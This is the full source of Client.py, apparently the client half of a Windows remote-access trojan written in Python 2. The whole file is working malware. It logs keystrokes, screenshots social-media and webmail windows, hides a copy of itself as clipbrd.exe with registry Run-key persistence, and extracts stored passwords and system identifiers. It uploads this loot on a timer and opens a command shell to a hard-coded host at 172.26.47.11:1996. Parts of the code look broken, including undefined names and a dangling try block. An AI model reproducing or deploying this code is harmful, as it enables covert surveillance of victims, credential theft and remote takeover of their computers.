/
Client.py
360 lines (302 loc) · 11 KB
/
Client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
import socket
from tempfile import mkdtemp
from threading import Timer, Thread, Lock
from PIL import ImageGrab
import platform
from getpass import getuser
from locale import getdefaultlocale
import os
import shutil
import _winreg as wreg
from uuid import getnode as get_mac
import json
from datetime import datetime
from time import sleep
import requests
import pythoncom, pyHook
import win32gui
from Constants import *
from utils import *
from passwords import extract
import subprocess
obj = pyHook.HookManager()
lock = Lock()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
keyloggerThread = Thread()
lootThread = Thread()
def keypressed(event):
global windowText
global lastWindowText
global lock
# Take a screenshot if any of the mentioned website is in the front screen
w = win32gui
windowText = w.GetWindowText(w.GetForegroundWindow())
if lastWindowText != windowText: # So that no useless screenshots
if 'Facebook' in windowText or 'Gmail' in windowText or 'Twitter' in windowText \
or 'Ymail' in windowText or 'Hotmail' in windowText:
screenshot()
global store
print (chr(event.Ascii)) # Print key info
if event.Ascii == 13:
keys = '< ENTER >'
elif event.Ascii == 8:
keys = '<BSpace>'
else:
keys = chr(event.Ascii)
store += keys
lock.acquire() # To avoid modification by emptyloot() thread
fp = open('keylogs.txt', 'a+')
fp.write(store)
fp.close()
lock.release()
lastWindowText = windowText
return True
def keylogger():
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages() # Not returning as keylogger thread needs to be running in the background
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else:
s.send("Unable to find file")
def persistence():
path = os.getcwd().strip('\n') # get the current working directory
userprof = os.getenv('USERPROFILE')
persistentPath = userprof + "\\.windows_conf"
try:
os.mkdir(persistentPath)
except:
pass
ctypes.windll.kernel32.SetFileAttributesW(persistentPath, FILE_HIDDEN_ATTRIBUTE)
# Place where you wish your backdoor to be copied , here it is C:\Users\<UserName>\Documents
destination = persistentPath + '\clipbrd.exe'
if not os.path.exists(destination):
shutil.copyfile(path + '\clipbrd.exe', destination)
# This is one of the keys that allows to run on startup , others can be found using
# sysinternals tools and googling
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",
0, wreg.KEY_ALL_ACCESS)
# AUTOSTART is the key name that will run our backdoor on startup
wreg.SetValueEx(key, AUTOSTART, 0, wreg.REG_SZ, destination)
key.Close()
def sendGet(Url):
try:
response = requests.get(url=Url, params={'g': 'data'}, headers=headers)
except Exception as e:
return str(e)
return response
def sendPost(Url, data, files=None):
global output
try:
response = requests.post(url=Url, data={'p': """ """ + output}, headers=headers)
except Exception as e:
return str(e)
return response
def sendFile(checksum, files=None):
try:
response = requests.post(uploadURL, data={'botname': botname}, files=files, proxies=proxy)
if checksum == response.headers('checksum'): # To check the checksum for file transfer as ok
return 'Upl0ad3d0k'
except Exception as e:
return str(e)
def getSysDetails():
global identification
# generate a unique id to identify the PC
publicIP = sendGet("http://www.httpbin.org/ip") # Retrieves ip , local and global
IP = publicIP.json() # creates a json object of IPs received
IP = IP['origin'].split(',')
if len(IP) > 1:
publicIP = IP[len(IP) - 1] # last ip is the public ip
else:
publicIP = IP[0] # last ip is the public ip
addr = get_mac() # To uniquely identify the PC
h = iter(hex(addr)[2:].zfill(12))
macAddr = "_".join(
i + next(h) for i in h) # Taken from http://stackoverflow.com/questions/28927958/python-get-mac-address
username = getuser() # Get Username
locale = getdefaultlocale()[0] # Helps in identifying the country
plat = platform.platform()
arch = platform.machine()
nodename = platform.node()
global botname
botname = locale + '_' + username + '_' + macAddr
identification = {'botname': botname, 'locale': locale, 'username': username, 'macAddr': macAddr,
'publicIP': publicIP,
'platform': plat, 'architecture': arch, 'Name': nodename}
iD = identification
return json.dumps(iD)
def screenshot():
now = str(datetime.now()).replace(" ", "_")
now = now.replace(":", "_")
ImageGrab.grab().save(tempDir + "\\" + now + "-img.jpg", "JPEG")
def search(command):
# received command as "search C:\\*.pdf
command = command[7:]
path, ext = command.split('*')
listOfFiles = ''
for dirpath, dirname, files in os.walk(path):
for file in files:
if file.endswith(ext):
listOfFiles = listOfFiles + '\n' + os.path.join(dirpath, file)
res = sendPost(commUrl, data=listOfFiles)
def identity():
global identification
identification = getSysDetails() # send sysDetails on initialisation and set hostname for identifying bot
tempDir = mkdtemp()
files = open(tempDir + '\identity.txt', 'wb')
files.write(json.dumps(identification))
files.close()
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",
0, wreg.KEY_WRITE)
# Botname is the key name that will stop identity to be sent on each startup
wreg.SetValueEx(key, 'botID', 0, wreg.REG_SZ, botname)
key.Close()
return tempDir
def initialize():
persistence()
passwords = extract()
global botname
# create identity only if earlier identity doesn't exist , which is to be checked with registry
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",
0, wreg.KEY_QUERY_VALUE)
# Enumerate the value of bot to determine whether we need to send identification to server or not
try:
botname = wreg.QueryValueEx(key, 'botID')[
0] # ensures botname to be present at every startup , for uploading files
except WindowsError:
print key
tempDir = identity()
files = open(tempDir + '\passwords.txt', 'a')
files.write(passwords)
files.close()
files = {'fileToUpload': open(tempDir + '\identity.txt', 'rb')}
r = sendFile(files)
files['fileToUpload'].close()
files = {'fileToUpload': open(tempDir + '\passwords.txt', 'rb')}
r = sendFile(files)
files['fileToUpload'].close()
shutil.rmtree(tempDir)
key.Close()
def emptyLoot():
for dirpath, dirname, files in os.walk(tempDir):
count = len(files) # To keep track whether all files have been transferred
while count:
for fileName in files:
lock.acquire() # To avoid modification by keylogger thread
sendingFile = {'fileToUpload': open(fileName, 'rb')}
checksum = md5Hash(sendingFile['fileToUpload']) # Send the md5sum hash to compare with
didItGetTransferred = sendFile(checksum, sendingFile)
if didItGetTransferred == 'Upl0ad3d0k': # only delete if file transferred successfully
try:
os.remove(dirpath + '/' + fileName)
count -= 1
except:
pass
lock.release()
Timer(60.0, emptyLoot).start() # Starts to send data every 1 minute
def executeCommand(s, command):
global output, keyloggerThread, lootThread
print (command)
if 'terminate' in command:
s.close()
keyloggerThread.join()
lootThread.join()
emptyLoot() # To transfer files
return
elif 'grab' in command:
grab, path = command.split(' ', 1)
try:
transfer(s, path)
except Exception, e:
s.send(str(e))
return
elif 'sendToServer' in command:
grab, path = command.split(' ', 1)
if os.path.exists(path):
files = {'fileToUpload': open(path, 'rb')}
r = sendFile(files)
else:
r = sendPost(uploadURL, data='[-]File Not Found')
print ("File Uploaded")
print ("File Uploaded")
return
elif 'screencap' in command:
screenshot()
return
elif 'passwords' in command:
try:
passwords = extract()
tempDir = identity()
files = open(tempDir + '\passwords.txt', 'a')
files.write(passwords)
files.close()
files = {'fileToUpload': open(tempDir + '\passwords.txt', 'rb')}
r = sendFile(files)
files['fileToUpload'].close()
shutil.rmtree(tempDir)
except:
sendGet()
elif 'cd' in command:
code, directory = command.split(' ',
1) # Added maxsplit value as some folders may contain whitespaces like "Program Files"
os.chdir(directory)
s.send("[+] CWD is " + os.getcwd())
return
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output += (CMD.stdout.read() + "\n" + CMD.stderr.read())
s.send(output)
res = sendPost(commUrl, output)
return
def connect():
global s
s.connect(('172.26.47.11', 1996))
s.send(getuser())
while True:
command = s.recv(1024)
executeCommand(s, command)
s.send('DONE')
def receiveCommand():
global s, keyloggerThread, lootThread
print (" Recieve Command")
res = sendGet(commUrl)
comm = res.text.strip('\t')
print (comm)
executeCommand(s, comm)
# Every 5 seconds poll the server
sleep(5)
def main():
global keyloggerThread, lootThread
try:
keyloggerThread = Thread(target=keylogger)
keyloggerThread.start()
except:
pass
initialize()
print ("Initialized")
try:
lootThread = Timer(60.0, emptyLoot) # Timer thread to send loot after every 1 minute
lootThread.start()
print (" Recieve Thread")
except:
pass
try:
receiveThread = Thread(target=receiveCommand).start()
connect() # terminate() called when connection is closed
except:
pass
try:
getStatus()
pass
keyloggerThread.join()
lootThread.join()
receiveThread.join()
main()